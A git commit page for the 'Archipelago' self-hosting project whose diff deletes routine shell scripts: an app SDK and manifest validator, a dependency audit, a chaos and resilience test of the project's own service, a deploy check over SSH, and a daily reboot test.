fix: BUG-33 CPU threshold, TASK-27 tab icons, TASK-36 iframe errors
- BUG-33: CPU load alert threshold increased from 2x to 4x core count (8→16 on 4-core machine) to reduce false alerts during container ops - TASK-27: Launch buttons for new-tab apps now show external link icon (BTCPay, Grafana, PhotoPrism, Portainer, OnlyOffice, etc.) - TASK-36: Iframe error screen now distinguishes between X-Frame-Options blocked vs container not reachable, with appropriate messaging Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
Dorian
co-authored by
Claude Opus 4.6
Claude Opus 4.6
parent
1ffc377a9c
commit
25ad68ac4c
@@ -1,289 +0,0 @@
|
||||
#!/bin/bash
|
||||
# archy-dev — App developer SDK for Archipelago
|
||||
# Usage:
|
||||
# archy-dev create <app-id> Create a new app scaffold
|
||||
# archy-dev validate <app-dir> Validate an app manifest
|
||||
# archy-dev test <app-dir> Test app in sandbox container
|
||||
# archy-dev package <app-dir> Package app for distribution
|
||||
#
|
||||
# Creates apps compatible with the Archipelago marketplace.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_NAME="archy-dev"
|
||||
VERSION="0.1.0"
|
||||
|
||||
usage() {
|
||||
echo "${SCRIPT_NAME} v${VERSION} — Archipelago App Developer SDK"
|
||||
echo ""
|
||||
echo "Usage:"
|
||||
echo " ${SCRIPT_NAME} create <app-id> Create a new app scaffold"
|
||||
echo " ${SCRIPT_NAME} validate <app-dir> Validate app manifest"
|
||||
echo " ${SCRIPT_NAME} test <app-dir> Test app in sandbox"
|
||||
echo " ${SCRIPT_NAME} package <app-dir> Package for distribution"
|
||||
echo ""
|
||||
echo "Examples:"
|
||||
echo " ${SCRIPT_NAME} create my-cool-app"
|
||||
echo " ${SCRIPT_NAME} validate ./my-cool-app"
|
||||
echo " ${SCRIPT_NAME} test ./my-cool-app"
|
||||
}
|
||||
|
||||
cmd_create() {
|
||||
local APP_ID="$1"
|
||||
|
||||
# Validate app ID
|
||||
if ! echo "$APP_ID" | grep -qE '^[a-z][a-z0-9-]{0,63}$'; then
|
||||
echo "Error: App ID must be lowercase alphanumeric with hyphens, 1-64 chars"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -d "$APP_ID" ]; then
|
||||
echo "Error: Directory '$APP_ID' already exists"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Creating app scaffold: $APP_ID"
|
||||
mkdir -p "$APP_ID"
|
||||
|
||||
# Create manifest
|
||||
cat > "$APP_ID/manifest.yml" << EOF
|
||||
# Archipelago App Manifest
|
||||
id: ${APP_ID}
|
||||
title: $(echo "$APP_ID" | sed 's/-/ /g' | sed 's/\b\(.\)/\u\1/g')
|
||||
version: 0.1.0
|
||||
description: A custom Archipelago app
|
||||
author: Your Name
|
||||
license: MIT
|
||||
|
||||
# Docker image (must be from trusted registry)
|
||||
image: docker.io/your-org/${APP_ID}:0.1.0
|
||||
|
||||
# Resource requirements
|
||||
resources:
|
||||
memory: 256m
|
||||
cpus: 1
|
||||
|
||||
# Port mappings (host:container)
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
# Persistent data volumes
|
||||
volumes:
|
||||
- "/var/lib/archipelago/${APP_ID}:/data"
|
||||
|
||||
# Environment variables
|
||||
environment:
|
||||
- "TZ=UTC"
|
||||
|
||||
# Security (recommended defaults)
|
||||
security:
|
||||
readonly_root: false
|
||||
capabilities: [] # Add only what's needed: CHOWN, SETUID, etc.
|
||||
no_new_privileges: true
|
||||
|
||||
# Health check
|
||||
health:
|
||||
cmd: "curl -sf http://localhost:8080/health || exit 1"
|
||||
interval: 30s
|
||||
retries: 3
|
||||
|
||||
# App tier: core, recommended, or optional
|
||||
tier: optional
|
||||
|
||||
# Dependencies (other Archipelago apps that must be running)
|
||||
dependencies: []
|
||||
|
||||
# Category for marketplace
|
||||
category: other
|
||||
EOF
|
||||
|
||||
# Create README
|
||||
cat > "$APP_ID/README.md" << EOF
|
||||
# ${APP_ID}
|
||||
|
||||
An Archipelago app.
|
||||
|
||||
## Development
|
||||
|
||||
1. Edit \`manifest.yml\` with your app's configuration
|
||||
2. Build your Docker image: \`docker build -t ${APP_ID}:0.1.0 .\`
|
||||
3. Validate: \`archy-dev validate .\`
|
||||
4. Test: \`archy-dev test .\`
|
||||
5. Package: \`archy-dev package .\`
|
||||
|
||||
## Manifest Reference
|
||||
|
||||
See \`docs/app-manifest-spec.md\` in the Archipelago repository.
|
||||
EOF
|
||||
|
||||
# Create icon placeholder
|
||||
mkdir -p "$APP_ID/assets"
|
||||
echo "Place your app icon here (PNG, 256x256 recommended)" > "$APP_ID/assets/icon-placeholder.txt"
|
||||
|
||||
echo "✅ App scaffold created at ./$APP_ID"
|
||||
echo ""
|
||||
echo "Next steps:"
|
||||
echo " 1. Edit $APP_ID/manifest.yml"
|
||||
echo " 2. Build your Docker image"
|
||||
echo " 3. Run: ${SCRIPT_NAME} validate ./$APP_ID"
|
||||
}
|
||||
|
||||
cmd_validate() {
|
||||
local APP_DIR="$1"
|
||||
local MANIFEST="$APP_DIR/manifest.yml"
|
||||
|
||||
if [ ! -f "$MANIFEST" ]; then
|
||||
echo "Error: No manifest.yml found in $APP_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Validating $MANIFEST..."
|
||||
|
||||
PASS=0; FAIL=0
|
||||
|
||||
check() {
|
||||
if eval "$2" 2>/dev/null; then
|
||||
PASS=$((PASS + 1))
|
||||
echo " ✅ $1"
|
||||
else
|
||||
FAIL=$((FAIL + 1))
|
||||
echo " ❌ $1"
|
||||
fi
|
||||
}
|
||||
|
||||
# Check required fields
|
||||
check "id field present" "grep -q '^id:' $MANIFEST"
|
||||
check "title field present" "grep -q '^title:' $MANIFEST"
|
||||
check "version field present" "grep -q '^version:' $MANIFEST"
|
||||
check "description field present" "grep -q '^description:' $MANIFEST"
|
||||
check "image field present" "grep -q '^image:' $MANIFEST"
|
||||
|
||||
# Check image from trusted registry
|
||||
IMAGE=$(grep '^image:' "$MANIFEST" | awk '{print $2}')
|
||||
check "image from trusted registry" "echo '$IMAGE' | grep -qE '^(docker.io|ghcr.io|quay.io)/'"
|
||||
check "image not using :latest" "echo '$IMAGE' | grep -qvE ':latest$'"
|
||||
|
||||
# Check security
|
||||
check "no privileged mode" "! grep -q 'privileged: true' $MANIFEST"
|
||||
check "no host networking" "! grep -q 'network: host' $MANIFEST"
|
||||
|
||||
# Check memory limit
|
||||
check "memory limit set" "grep -q 'memory:' $MANIFEST"
|
||||
|
||||
echo ""
|
||||
echo "Results: $PASS passed, $FAIL failed"
|
||||
[ "$FAIL" -gt 0 ] && exit 1
|
||||
echo "✅ Manifest is valid"
|
||||
}
|
||||
|
||||
cmd_test() {
|
||||
local APP_DIR="$1"
|
||||
local MANIFEST="$APP_DIR/manifest.yml"
|
||||
|
||||
if [ ! -f "$MANIFEST" ]; then
|
||||
echo "Error: No manifest.yml found in $APP_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
IMAGE=$(grep '^image:' "$MANIFEST" | awk '{print $2}')
|
||||
APP_ID=$(grep '^id:' "$MANIFEST" | awk '{print $2}')
|
||||
|
||||
echo "Testing $APP_ID ($IMAGE) in sandbox..."
|
||||
echo ""
|
||||
|
||||
# Check if image exists locally
|
||||
if ! podman image exists "$IMAGE" 2>/dev/null && ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
|
||||
echo "Image not found locally. Pull or build first:"
|
||||
echo " docker pull $IMAGE"
|
||||
echo " OR"
|
||||
echo " docker build -t $IMAGE $APP_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
DOCKER=podman
|
||||
command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
|
||||
echo "Starting sandbox container..."
|
||||
$DOCKER run -d --name "archy-test-${APP_ID}" \
|
||||
--cap-drop=ALL \
|
||||
--security-opt=no-new-privileges:true \
|
||||
--memory=512m \
|
||||
--cpus=1 \
|
||||
"$IMAGE" 2>/dev/null
|
||||
|
||||
echo "Waiting 10s for startup..."
|
||||
sleep 10
|
||||
|
||||
STATE=$($DOCKER inspect "archy-test-${APP_ID}" --format '{{.State.Status}}' 2>/dev/null || echo "unknown")
|
||||
echo "Container state: $STATE"
|
||||
|
||||
if [ "$STATE" = "running" ]; then
|
||||
echo "✅ App starts successfully in sandbox"
|
||||
else
|
||||
echo "❌ App failed to start"
|
||||
echo "Logs:"
|
||||
$DOCKER logs "archy-test-${APP_ID}" 2>&1 | tail -20
|
||||
fi
|
||||
|
||||
# Cleanup
|
||||
$DOCKER stop "archy-test-${APP_ID}" 2>/dev/null || true
|
||||
$DOCKER rm "archy-test-${APP_ID}" 2>/dev/null || true
|
||||
}
|
||||
|
||||
cmd_package() {
|
||||
local APP_DIR="$1"
|
||||
local MANIFEST="$APP_DIR/manifest.yml"
|
||||
|
||||
if [ ! -f "$MANIFEST" ]; then
|
||||
echo "Error: No manifest.yml found in $APP_DIR"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
APP_ID=$(grep '^id:' "$MANIFEST" | awk '{print $2}')
|
||||
VERSION=$(grep '^version:' "$MANIFEST" | awk '{print $2}')
|
||||
PACKAGE="${APP_ID}-${VERSION}.archy-app.tar.gz"
|
||||
|
||||
echo "Packaging $APP_ID v$VERSION..."
|
||||
|
||||
# Validate first
|
||||
cmd_validate "$APP_DIR" || exit 1
|
||||
|
||||
# Create package
|
||||
tar -czf "$PACKAGE" -C "$APP_DIR" manifest.yml README.md assets/ 2>/dev/null || \
|
||||
tar -czf "$PACKAGE" -C "$APP_DIR" manifest.yml 2>/dev/null
|
||||
|
||||
echo ""
|
||||
echo "✅ Package created: $PACKAGE"
|
||||
echo " Size: $(ls -lh "$PACKAGE" | awk '{print $5}')"
|
||||
echo ""
|
||||
echo "To submit to the Archipelago marketplace:"
|
||||
echo " 1. Push your Docker image to a trusted registry"
|
||||
echo " 2. Submit a PR to the Archipelago apps/ directory"
|
||||
echo " 3. Include this package for review"
|
||||
}
|
||||
|
||||
# Main dispatch
|
||||
case "${1:-}" in
|
||||
create)
|
||||
[ -z "${2:-}" ] && { echo "Usage: $SCRIPT_NAME create <app-id>"; exit 1; }
|
||||
cmd_create "$2"
|
||||
;;
|
||||
validate)
|
||||
[ -z "${2:-}" ] && { echo "Usage: $SCRIPT_NAME validate <app-dir>"; exit 1; }
|
||||
cmd_validate "$2"
|
||||
;;
|
||||
test)
|
||||
[ -z "${2:-}" ] && { echo "Usage: $SCRIPT_NAME test <app-dir>"; exit 1; }
|
||||
cmd_test "$2"
|
||||
;;
|
||||
package)
|
||||
[ -z "${2:-}" ] && { echo "Usage: $SCRIPT_NAME package <app-dir>"; exit 1; }
|
||||
cmd_package "$2"
|
||||
;;
|
||||
--version|-v)
|
||||
echo "$SCRIPT_NAME v$VERSION"
|
||||
;;
|
||||
*)
|
||||
usage
|
||||
;;
|
||||
esac
|
||||
@@ -1,56 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# SEC-203: Dependency audit — run npm audit and cargo audit.
|
||||
|
||||
REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
|
||||
log() { echo -e "\033[1;34m[AUDIT]\033[0m $*"; }
|
||||
|
||||
main() {
|
||||
log "=== Dependency Audit ==="
|
||||
echo ""
|
||||
|
||||
# Frontend — npm audit
|
||||
log "Running npm audit..."
|
||||
cd "$REPO_ROOT/neode-ui"
|
||||
npm audit --omit=dev 2>&1 | tail -20 || true
|
||||
echo ""
|
||||
|
||||
# Backend — cargo audit (if installed)
|
||||
log "Checking for cargo-audit..."
|
||||
if command -v cargo-audit &>/dev/null; then
|
||||
log "Running cargo audit..."
|
||||
cd "$REPO_ROOT/core"
|
||||
cargo audit 2>&1 | tail -20 || true
|
||||
else
|
||||
log "cargo-audit not installed locally — run on build server:"
|
||||
log " cargo install cargo-audit && cd core && cargo audit"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
# Check for pinned versions in Cargo.toml
|
||||
log "Checking Cargo.toml version pinning..."
|
||||
local unpinned
|
||||
unpinned=$(grep -E '^[a-z].*= "[^=><~]' "$REPO_ROOT/core/archipelago/Cargo.toml" 2>/dev/null | grep -v '= "' || echo "")
|
||||
if [ -z "$unpinned" ]; then
|
||||
log " All Cargo dependencies appear pinned"
|
||||
else
|
||||
log " WARNING: Some deps may not be pinned:"
|
||||
echo "$unpinned" | head -5 | sed 's/^/ /'
|
||||
fi
|
||||
|
||||
# Check for pinned versions in package.json
|
||||
log "Checking package.json version pinning..."
|
||||
local npm_unpinned
|
||||
npm_unpinned=$(grep -E '"[^"]+": "\^|~' "$REPO_ROOT/neode-ui/package.json" | head -10 || echo "")
|
||||
if [ -n "$npm_unpinned" ]; then
|
||||
log " NOTE: Some npm deps use ^ or ~ (normal for npm):"
|
||||
echo "$npm_unpinned" | head -5 | sed 's/^/ /'
|
||||
fi
|
||||
|
||||
echo ""
|
||||
log "=== Audit Complete ==="
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,339 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# chaos-test.sh — Chaos/resilience test for Archipelago server.
|
||||
#
|
||||
# Tests the server's ability to survive adverse conditions:
|
||||
# - Process kills (verify systemd restart)
|
||||
# - Container stop/start cycling
|
||||
# - Concurrent RPC requests (verify no crashes)
|
||||
# - High disk usage warnings
|
||||
# - Network interruption recovery
|
||||
#
|
||||
# Usage:
|
||||
# ssh archipelago@192.168.1.228 "cd ~/archy && bash scripts/chaos-test.sh"
|
||||
#
|
||||
# Duration: ~30 minutes by default (set CHAOS_DURATION_HOURS for longer)
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
CHAOS_DURATION_HOURS="${CHAOS_DURATION_HOURS:-0.5}"
|
||||
RPC_URL="http://localhost:5678/rpc/v1"
|
||||
HEALTH_URL="http://localhost/health"
|
||||
MAX_RECOVERY_WAIT=60
|
||||
|
||||
# Colors
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m'
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
TESTS=()
|
||||
|
||||
log() { echo -e "${GREEN}[CHAOS]${NC} $*"; }
|
||||
warn() { echo -e "${YELLOW}[WARN]${NC} $*"; }
|
||||
fail() { echo -e "${RED}[FAIL]${NC} $*"; }
|
||||
|
||||
record() {
|
||||
local name="$1" result="$2"
|
||||
if [ "$result" = "PASS" ]; then
|
||||
PASS=$((PASS + 1))
|
||||
TESTS+=("PASS $name")
|
||||
else
|
||||
FAIL=$((FAIL + 1))
|
||||
TESTS+=("FAIL $name")
|
||||
fi
|
||||
}
|
||||
|
||||
# Authenticate
|
||||
COOKIE_FILE=$(mktemp)
|
||||
authenticate() {
|
||||
curl -s -c "$COOKIE_FILE" -X POST "$RPC_URL" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"method":"auth.login","params":{"password":"password123"}}' > /dev/null 2>&1
|
||||
}
|
||||
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-null}"
|
||||
local csrf
|
||||
csrf=$(grep csrf_token "$COOKIE_FILE" 2>/dev/null | awk '{print $NF}' || echo "")
|
||||
curl -s -b "$COOKIE_FILE" -X POST "$RPC_URL" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "X-CSRF-Token: $csrf" \
|
||||
-d "{\"method\":\"$method\",\"params\":$params}" 2>/dev/null
|
||||
}
|
||||
|
||||
wait_for_health() {
|
||||
local timeout="${1:-$MAX_RECOVERY_WAIT}"
|
||||
local elapsed=0
|
||||
while [ "$elapsed" -lt "$timeout" ]; do
|
||||
if curl -sf "$HEALTH_URL" > /dev/null 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
sleep 2
|
||||
elapsed=$((elapsed + 2))
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
echo ""
|
||||
echo "============================================"
|
||||
echo " Archipelago Chaos Test Suite"
|
||||
echo "============================================"
|
||||
echo " Duration: ${CHAOS_DURATION_HOURS}h"
|
||||
echo ""
|
||||
|
||||
# Pre-check
|
||||
if ! curl -sf "$HEALTH_URL" > /dev/null 2>&1; then
|
||||
fail "Server not healthy at $HEALTH_URL — aborting"
|
||||
exit 1
|
||||
fi
|
||||
log "Server is healthy"
|
||||
authenticate
|
||||
|
||||
# =============================================================================
|
||||
# Test 1: Process Kill Recovery
|
||||
# =============================================================================
|
||||
log "=== Test 1: Process Kill Recovery ==="
|
||||
log "Killing archipelago process..."
|
||||
|
||||
sudo systemctl kill --signal=SIGKILL archipelago 2>/dev/null || \
|
||||
sudo kill -9 $(pgrep -f "/usr/local/bin/archipelago" | head -1) 2>/dev/null
|
||||
|
||||
sleep 2
|
||||
|
||||
if wait_for_health 30; then
|
||||
log "Backend recovered after SIGKILL in <30s"
|
||||
record "Process kill recovery" "PASS"
|
||||
else
|
||||
fail "Backend did not recover after SIGKILL within 30s"
|
||||
record "Process kill recovery" "FAIL"
|
||||
# Try to restart manually
|
||||
sudo systemctl start archipelago
|
||||
sleep 5
|
||||
fi
|
||||
|
||||
authenticate
|
||||
|
||||
# =============================================================================
|
||||
# Test 2: Graceful Restart
|
||||
# =============================================================================
|
||||
log "=== Test 2: Graceful Restart ==="
|
||||
log "Restarting archipelago service..."
|
||||
|
||||
sudo systemctl restart archipelago
|
||||
sleep 2
|
||||
|
||||
if wait_for_health 20; then
|
||||
log "Backend restarted gracefully"
|
||||
record "Graceful restart" "PASS"
|
||||
else
|
||||
fail "Backend did not come up after restart"
|
||||
record "Graceful restart" "FAIL"
|
||||
fi
|
||||
|
||||
authenticate
|
||||
|
||||
# =============================================================================
|
||||
# Test 3: Concurrent RPC Requests
|
||||
# =============================================================================
|
||||
log "=== Test 3: Concurrent RPC Load (100 requests) ==="
|
||||
|
||||
CONCURRENT_PASS=0
|
||||
CONCURRENT_FAIL=0
|
||||
|
||||
for i in $(seq 1 100); do
|
||||
(
|
||||
result=$(curl -sf -X POST "$RPC_URL" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"method":"system.stats"}' 2>/dev/null)
|
||||
if echo "$result" | grep -q "cpu_usage_percent"; then
|
||||
echo "OK" >> /tmp/chaos-concurrent-ok
|
||||
else
|
||||
echo "FAIL" >> /tmp/chaos-concurrent-fail
|
||||
fi
|
||||
) &
|
||||
done
|
||||
|
||||
wait
|
||||
rm -f /tmp/chaos-concurrent-ok /tmp/chaos-concurrent-fail 2>/dev/null
|
||||
|
||||
# Re-authenticate in case cookies expired during load
|
||||
authenticate
|
||||
|
||||
# Check server still healthy
|
||||
if curl -sf "$HEALTH_URL" > /dev/null 2>&1; then
|
||||
log "Server survived 100 concurrent requests"
|
||||
record "Concurrent RPC load" "PASS"
|
||||
else
|
||||
fail "Server crashed under concurrent load"
|
||||
record "Concurrent RPC load" "FAIL"
|
||||
sudo systemctl restart archipelago
|
||||
sleep 5
|
||||
authenticate
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# Test 4: Container Stop/Start Cycling
|
||||
# =============================================================================
|
||||
log "=== Test 4: Container Stop/Start Cycling ==="
|
||||
|
||||
# Use filebrowser as test container (lightweight, quick to restart)
|
||||
CONTAINER_ID="filebrowser"
|
||||
if [ -n "$CONTAINER_ID" ]; then
|
||||
log "Testing with container: $CONTAINER_ID"
|
||||
|
||||
# Stop
|
||||
rpc "package.stop" "{\"id\":\"$CONTAINER_ID\"}" > /dev/null
|
||||
sleep 3
|
||||
|
||||
# Verify stopped
|
||||
status=$(rpc "container-status" "{\"id\":\"$CONTAINER_ID\"}")
|
||||
|
||||
# Start
|
||||
rpc "package.start" "{\"id\":\"$CONTAINER_ID\"}" > /dev/null
|
||||
sleep 10
|
||||
|
||||
# Verify running (check both container-status and podman directly)
|
||||
status=$(rpc "container-status" "{\"id\":\"$CONTAINER_ID\"}")
|
||||
podman_running=$(podman ps --filter "name=^${CONTAINER_ID}$" --format "{{.Status}}" 2>/dev/null | head -1 | grep -ci "up" || echo "0")
|
||||
if echo "$status" | grep -qi "running" || [ "$podman_running" -gt 0 ]; then
|
||||
log "Container $CONTAINER_ID stop/start cycle OK"
|
||||
record "Container cycling" "PASS"
|
||||
else
|
||||
warn "Container $CONTAINER_ID may not have restarted"
|
||||
record "Container cycling" "FAIL"
|
||||
fi
|
||||
else
|
||||
warn "No running containers found, skipping container test"
|
||||
TESTS+=("SKIP Container cycling (no containers)")
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# Test 5: RPC Error Handling
|
||||
# =============================================================================
|
||||
log "=== Test 5: RPC Error Handling ==="
|
||||
|
||||
# Invalid method
|
||||
result=$(rpc "nonexistent.method")
|
||||
if echo "$result" | grep -qi "error\|unknown"; then
|
||||
log "Invalid method correctly returns error"
|
||||
err_pass=true
|
||||
else
|
||||
fail "Invalid method did not return error"
|
||||
err_pass=false
|
||||
fi
|
||||
|
||||
# Malformed JSON — server should not crash (any response is acceptable)
|
||||
http_code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$RPC_URL" -H "Content-Type: application/json" -d '{broken}' 2>/dev/null || echo "000")
|
||||
if [ "$http_code" != "000" ]; then
|
||||
log "Malformed JSON handled without crash (HTTP $http_code)"
|
||||
else
|
||||
# Server may have been restarting from previous test, wait and retry
|
||||
sleep 3
|
||||
http_code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$RPC_URL" -H "Content-Type: application/json" -d '{broken}' 2>/dev/null | tail -c 3 || echo "000")
|
||||
if [ -n "$http_code" ] && [ "$http_code" != "000" ]; then
|
||||
log "Malformed JSON handled without crash (HTTP $http_code, retry)"
|
||||
else
|
||||
warn "Server unreachable for malformed JSON test"
|
||||
err_pass=false
|
||||
fi
|
||||
fi
|
||||
|
||||
# Missing params
|
||||
result=$(rpc "backup.create")
|
||||
if echo "$result" | grep -qi "error\|missing"; then
|
||||
log "Missing params correctly returns error"
|
||||
else
|
||||
err_pass=false
|
||||
fi
|
||||
|
||||
if [ "$err_pass" = true ]; then
|
||||
record "RPC error handling" "PASS"
|
||||
else
|
||||
record "RPC error handling" "FAIL"
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# Test 6: Rapid Reconnection
|
||||
# =============================================================================
|
||||
log "=== Test 6: Rapid Restart Cycling ==="
|
||||
|
||||
for i in 1 2 3; do
|
||||
sudo systemctl restart archipelago
|
||||
sleep 3
|
||||
if ! wait_for_health 15; then
|
||||
fail "Failed to recover on cycle $i"
|
||||
record "Rapid restart cycling" "FAIL"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if curl -sf "$HEALTH_URL" > /dev/null 2>&1; then
|
||||
log "Server survived 3 rapid restarts"
|
||||
record "Rapid restart cycling" "PASS"
|
||||
fi
|
||||
|
||||
authenticate
|
||||
|
||||
# =============================================================================
|
||||
# Test 7: Data Integrity After Chaos
|
||||
# =============================================================================
|
||||
log "=== Test 7: Data Integrity Check ==="
|
||||
|
||||
# Check system stats still work
|
||||
stats=$(rpc "system.stats")
|
||||
if echo "$stats" | grep -q "cpu_usage_percent"; then
|
||||
log "System stats OK"
|
||||
data_ok=true
|
||||
else
|
||||
fail "System stats broken"
|
||||
data_ok=false
|
||||
fi
|
||||
|
||||
# Check update status
|
||||
update=$(rpc "update.status")
|
||||
if echo "$update" | grep -q "current_version"; then
|
||||
log "Update status OK"
|
||||
else
|
||||
data_ok=false
|
||||
fi
|
||||
|
||||
# Check backup list
|
||||
backups=$(rpc "backup.list")
|
||||
if echo "$backups" | grep -q "backups"; then
|
||||
log "Backup list OK"
|
||||
else
|
||||
data_ok=false
|
||||
fi
|
||||
|
||||
if [ "$data_ok" = true ]; then
|
||||
record "Data integrity" "PASS"
|
||||
else
|
||||
record "Data integrity" "FAIL"
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# Summary
|
||||
# =============================================================================
|
||||
rm -f "$COOKIE_FILE"
|
||||
|
||||
echo ""
|
||||
echo "============================================"
|
||||
echo " Chaos Test Results"
|
||||
echo "============================================"
|
||||
for r in "${TESTS[@]}"; do
|
||||
case "$r" in
|
||||
PASS*) echo -e " ${GREEN}$r${NC}" ;;
|
||||
FAIL*) echo -e " ${RED}$r${NC}" ;;
|
||||
SKIP*) echo -e " ${YELLOW}$r${NC}" ;;
|
||||
esac
|
||||
done
|
||||
echo ""
|
||||
echo " Passed: $PASS Failed: $FAIL"
|
||||
echo "============================================"
|
||||
|
||||
if [ "$FAIL" -gt 0 ]; then
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,25 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Quick script to check what's deployed on the target
|
||||
|
||||
echo "Checking deployed files on target..."
|
||||
echo ""
|
||||
|
||||
echo "1. Web UI files:"
|
||||
ssh archipelago@192.168.1.228 "ls -lh /opt/archipelago/web-ui/ | head -10"
|
||||
|
||||
echo ""
|
||||
echo "2. Backend binary:"
|
||||
ssh archipelago@192.168.1.228 "ls -lh /usr/local/bin/archipelago"
|
||||
|
||||
echo ""
|
||||
echo "3. Backend service status:"
|
||||
ssh archipelago@192.168.1.228 "sudo systemctl status archipelago --no-pager | head -15"
|
||||
|
||||
echo ""
|
||||
echo "4. Nginx status:"
|
||||
ssh archipelago@192.168.1.228 "sudo systemctl status nginx --no-pager | head -10"
|
||||
|
||||
echo ""
|
||||
echo "5. Check one of the JS files for BUNDLED_APPS:"
|
||||
ssh archipelago@192.168.1.228 "grep -l 'BUNDLED_APPS' /opt/archipelago/web-ui/assets/*.js | head -1"
|
||||
@@ -1,86 +0,0 @@
|
||||
#!/bin/bash
|
||||
# daily-reboot-test.sh — Automated daily reboot with recovery verification
|
||||
# Run via cron: 0 4 * * * /opt/archipelago/scripts/daily-reboot-test.sh
|
||||
#
|
||||
# 1. Records pre-reboot state
|
||||
# 2. Reboots the node
|
||||
# 3. After reboot, systemd runs this again via a oneshot service
|
||||
# that verifies recovery and logs the result
|
||||
#
|
||||
# Logs to /var/lib/archipelago/monitoring/reboot-test.csv
|
||||
|
||||
LOG_DIR="/var/lib/archipelago/monitoring"
|
||||
LOG_FILE="${LOG_DIR}/reboot-test.csv"
|
||||
STATE_FILE="${LOG_DIR}/reboot-test-state.json"
|
||||
HEALTH_URL="http://localhost:5678/health"
|
||||
|
||||
mkdir -p "$LOG_DIR"
|
||||
|
||||
# Create CSV header if needed
|
||||
if [ ! -f "$LOG_FILE" ]; then
|
||||
echo "timestamp,phase,containers_pre,containers_post,exited,health,recovery_secs" > "$LOG_FILE"
|
||||
fi
|
||||
|
||||
TIMESTAMP=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Check if we're in the verification phase (state file exists from pre-reboot)
|
||||
if [ -f "$STATE_FILE" ]; then
|
||||
# POST-REBOOT VERIFICATION
|
||||
PRE_COUNT=$(python3 -c "import json; print(json.load(open('${STATE_FILE}')).get('containers',0))" 2>/dev/null || echo 0)
|
||||
REBOOT_TIME=$(python3 -c "import json; print(json.load(open('${STATE_FILE}')).get('timestamp',''))" 2>/dev/null || echo "")
|
||||
|
||||
# Wait for backend health (max 5 min)
|
||||
HEALTH="fail"
|
||||
START_WAIT=$(date +%s)
|
||||
for i in $(seq 1 60); do
|
||||
sleep 5
|
||||
HEALTH=$(curl -s --max-time 5 "$HEALTH_URL" 2>/dev/null || echo "fail")
|
||||
if [ "$HEALTH" = "OK" ]; then
|
||||
break
|
||||
fi
|
||||
done
|
||||
WAIT_SECS=$(( $(date +%s) - START_WAIT ))
|
||||
|
||||
# Wait another 60s for containers to stabilize
|
||||
sleep 60
|
||||
|
||||
# Count containers
|
||||
DOCKER=podman; command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
POST_COUNT=$(sudo $DOCKER ps --format '{{.Names}}' 2>/dev/null | wc -l)
|
||||
EXITED=$(sudo $DOCKER ps -a --format '{{.State}}' 2>/dev/null | grep -ci exited || echo 0)
|
||||
|
||||
RECOVERY_SECS=$((WAIT_SECS + 60))
|
||||
|
||||
echo "${TIMESTAMP},verify,${PRE_COUNT},${POST_COUNT},${EXITED},${HEALTH},${RECOVERY_SECS}" >> "$LOG_FILE"
|
||||
|
||||
# Clean up state file
|
||||
rm -f "$STATE_FILE"
|
||||
|
||||
# Update summary
|
||||
TOTAL=$(grep -c ",verify," "$LOG_FILE" 2>/dev/null || echo 0)
|
||||
OK=$(grep ",verify,.*,OK," "$LOG_FILE" 2>/dev/null | wc -l || echo 0)
|
||||
cat > "${LOG_DIR}/reboot-test-summary.json" << EOF
|
||||
{
|
||||
"total_reboots": ${TOTAL},
|
||||
"successful": ${OK},
|
||||
"last_test": "${TIMESTAMP}",
|
||||
"last_recovery_secs": ${RECOVERY_SECS},
|
||||
"last_health": "${HEALTH}",
|
||||
"last_containers": "${POST_COUNT}/${PRE_COUNT}"
|
||||
}
|
||||
EOF
|
||||
else
|
||||
# PRE-REBOOT: Record state and schedule reboot
|
||||
DOCKER=podman; command -v podman >/dev/null 2>&1 || DOCKER=docker
|
||||
CONTAINERS=$(sudo $DOCKER ps --format '{{.Names}}' 2>/dev/null | wc -l)
|
||||
|
||||
# Save state for post-reboot verification
|
||||
cat > "$STATE_FILE" << EOF
|
||||
{"timestamp": "${TIMESTAMP}", "containers": ${CONTAINERS}}
|
||||
EOF
|
||||
|
||||
echo "${TIMESTAMP},reboot,${CONTAINERS},,,," >> "$LOG_FILE"
|
||||
|
||||
# Reboot in 30 seconds (allows cron to finish cleanly)
|
||||
(sleep 30 && sudo reboot) &
|
||||
fi
|
||||
@@ -1,89 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Development Container Environment Setup
|
||||
# Checks container runtime availability and provides helper commands
|
||||
|
||||
